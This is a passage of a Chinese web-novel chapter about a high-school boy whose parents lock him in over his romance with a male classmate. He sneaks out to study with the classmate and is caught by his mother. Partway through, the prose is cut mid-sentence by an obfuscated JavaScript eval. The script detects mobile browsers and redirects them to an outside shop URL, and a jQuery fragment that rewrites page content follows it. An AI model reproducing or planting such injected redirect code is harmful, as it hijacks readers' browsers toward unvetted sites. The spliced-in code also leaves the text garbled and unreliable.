高三一模的数学成绩单被同学们争相传阅，递到祁春章手里时，纸页边缘都被捏得发皱。红色的“80”分像烧红的烙铁，烫得他指尖发麻——这是他高三以来第一次跌破及格线，数学老师皱着眉说“你怎么回事呀，心思一点没在学习上，你还想考大学吗？”
回到家，玄关的感应灯刚亮起，就撞见父母阴沉的脸。客厅茶几上，林宇妈妈发来的微信还亮着屏，“春章最近和那个男生走得太近，心思肯定不在学习上”“这种不正常的关系，迟早耽误前程”。爸爸把成绩单往桌上一拍，瓷杯震得嗡嗡响：“我早说让你别跟炀洛瞎混！现在好了，成绩掉成这样，还想不想考大学了？”妈妈坐在一旁抹眼泪，手里攥着他之前藏在书包里的篮球贴纸，语气带着哭腔：“我们辛辛苦苦供你上学，不是让你搞这些乱七八糟的！”
没等祁春章辩解，房门就被从外面反锁了。“从今天起，不准出门，不准用手机，好好在家反省！”爸爸的声音隔着门板传来，带着不容置疑的强硬。他冲到窗边，发现窗户被加装了限位器，只能推开一条缝，连翻出去的可能都没有；书桌上的手机、平板全被收走，只有一摞厚厚的试卷和错题本，像一座小山压得他喘不过气。
接下来的三天，祁春章被圈在房间里刷题，草稿纸用了厚厚一沓。直到周五傍晚，他借着去阳台收衣服的机会，在晾衣绳最隐蔽的夹子下摸到一张折叠的纸条——是炀洛的字迹，墨迹还带着点湿润：“周三晚9点，老地方见，别让我等。”
老地方是初中附近的24小时自习室，离祁春章家步行20分钟，是他们初中省赛备战时就约定好的秘密基地。祁春章捏着纸条，眼眶有点发热。
心里的挣扎只持续了几分钟。他看着窗外渐渐暗下来的夜色，咬了咬牙，开始盘算翻墙的办法。
周三晚上，等父母睡熟后，祁春章搬来书桌抵着门，踩着椅子从阳台的防盗网缝隙往外爬。二楼的高度不算高，可瓷砖墙面滑得厉害，他的胳膊被防盗网的铁丝蹭掉一块皮，火辣辣地疼，牛仔裤也磨破了膝盖，渗出血迹。落地时踉跄了一下，他顾不上拍掉身上的灰，朝着自习室的方向快步走，晚风带着凉意，吹得胳膊上的伤口生疼，可心里的期待却越烧越旺。
自习室的暖光透过玻璃门照出来，远远就看到炀洛坐在靠窗的位置。他穿着常穿的黑色连帽衫，袖口卷起来，露出手腕上的情侣手链，面前摆着一杯热牛奶、一包全麦面包，还有一摞整理好的错题本。看到祁春章进来，炀洛眼里的疲惫瞬间被笑意取代，起身时不小心碰倒了椅子，发出轻微的声响，赶紧伸手扶住，压低声音喊他：“这边。”
“怎么才来？胳膊怎么了？”炀洛拉着他坐下，指尖刚碰到他胳膊上的擦伤，眉头立刻皱起来，从书包里掏出创可贴，小心翼翼地贴上，动作轻得怕弄疼他，“是不是翻墙过来的？跟你说过等我找机会去看你，你偏不听。”
祁春章看着他认真的样子，鼻子一酸，突然就红了眼眶。备考的压力、父母的反对、不能光明正大见面的委屈，在这一刻全涌了上来。他趴在桌上，头埋在炀洛的肩膀上，声音带着哽咽：“我怕考不上同一所大学，我怕我们就这样散了。”
温热的掌心落在他的背上，轻轻拍着，带着熟悉的安抚力道。“别怕，”炀洛的声音很低，温热的气息拂过他的耳廓，“我陪你补，你肯定能赶上来。”
他把热牛奶推到祁春章面前，温度刚好不烫嘴：“先喝点暖暖胃，面包是全麦的，你妈不让你吃甜的，我特意选的。”又从口袋里掏出一颗橘子糖，剥开糖纸塞进他嘴里，“幸运糖，吃了做题顺风顺水，跟省赛时一样。”
橘子糖的酸甜在舌尖化开，祁春章心里的郁结渐渐消散。两人凑在一张桌上，头挨得很近，炀洛用红笔在错题本上标注，指尖划过纸张的沙沙声，在安静的自习室里格外清晰。“你看这道题，”炀洛指着屏幕上的几何题，“你上次就是辅助线画错了，应该连接顶点和底边中点，这样就能用等腰三角形的性质……”他一边说，一边用尺子在草稿纸上画图，线条清晰，步骤标注得明明白白。
祁春章看着他认真的侧脸，睫毛在灯光下投下淡淡的阴影，突然就觉得那些难懂的公式也没那么可怕了。他偷偷往炀洛身边靠了靠，肩膀贴着肩膀，能感受到对方平稳的心跳，心里踏实得不像话。偶尔遇到不会的地方，他就轻轻戳戳炀洛的胳膊，炀洛立刻停下，转头耐心讲解，没有丝毫不耐烦，反而会顺手帮他擦掉嘴角沾到的面包屑。
不知不觉就到了凌晨1点，自习室里只剩下零星几个人。祁春章正低头演算，突然听到熟悉的声音在门口响起，吓得手一抖，笔掉在地上。“祁春章！你给我出来！”是妈妈的声音，带着哭腔和愤怒。
他下意识往炀洛身后躲，却被妈妈一把拽住胳膊。妈妈的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354861|199668||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睛通红，头发凌乱，显然是找了他很久。“你知不知道我有多担心？邻居说看到你翻墙出去，我以为你出什么事了！”妈妈的声音带着颤抖，看到两人凑在一起的错题本，还有炀洛手里没喝完的热牛奶，眼泪掉得更凶，“你就这么不听话？为了一个男生，连学习都不管了，连命都不顾了？”
祁春章被妈妈拉着往外走，胳膊被攥得生疼，却回头对炀洛使了个眼色，嘴唇动了动——“等我”。走到自习室门口，他突然停下脚步，第一次对着妈妈红了眼眶反驳：“我喜欢他不是病！我们没有耽误学习，我只是想让他帮我补补数学！我想和他考同一所大学，这有错吗？”
妈妈愣住了，看着儿子倔强的样子，哭着捶了他一下：“我不是不让你交朋友，可你们这种关系……以后会被人笑话的，妈妈是为你好啊！”
回家的路上，两人一路沉默。路灯把影子拉得很长，妈妈的肩膀微微颤抖，祁春章看着她泛红的眼眶，心里也有点不是滋味。到了楼下，妈妈叹了口气：“以后想见面可以，但是不能再翻墙了，要好好学习，不然我真的没办法跟你爸交代。”祁春章点点头，心里却盘算着怎么联系炀洛。
趁着妈妈去洗漱，他偷偷借了隔壁同学的手机，给炀洛发了条消息：“我没事，就是有点着凉，你别担心。”消息发出去没多久，就收到了炀洛的回复，带着焦急：“明晚我给你送退烧药和错题本，在你家楼下的长椅上等你，别开窗，我会敲三下栏杆。”
第二天深夜，祁春章趴在窗户上往下看，果然看到炀洛坐在长椅上，裹着厚厚的外套，手里拎着一个塑料袋。夜风格外冷，炀洛把脖子缩在衣领里，时不时搓搓手，却一直没离开。祁春章轻手轻脚地推开窗户，用绳子把一个小纸条吊下去——上面写着“爱你！”。
炀洛捡起纸条，抬头看向窗户，夜色里能看到他眼里的光，不自觉红了眼眶。他把塑料袋系在绳子上，里面是退烧药、创可贴，还有一本错题本。
祁春章把塑料袋拉上来，指尖碰到还带着体温的错题本，心里甜丝丝的。他趴在窗户上，和楼下的炀洛对视，冬夜的冷风里，彼此的眼神是唯一的光。
远处的路灯亮着暖黄的光，映着两人遥遥相望的身影，橘子糖的甜香、胳膊上的创可贴，都在诉说着这场藏在黑暗里的坚守——只要一起坚持，总有一天，他们能挣脱束缚，光明正大地站在阳光下。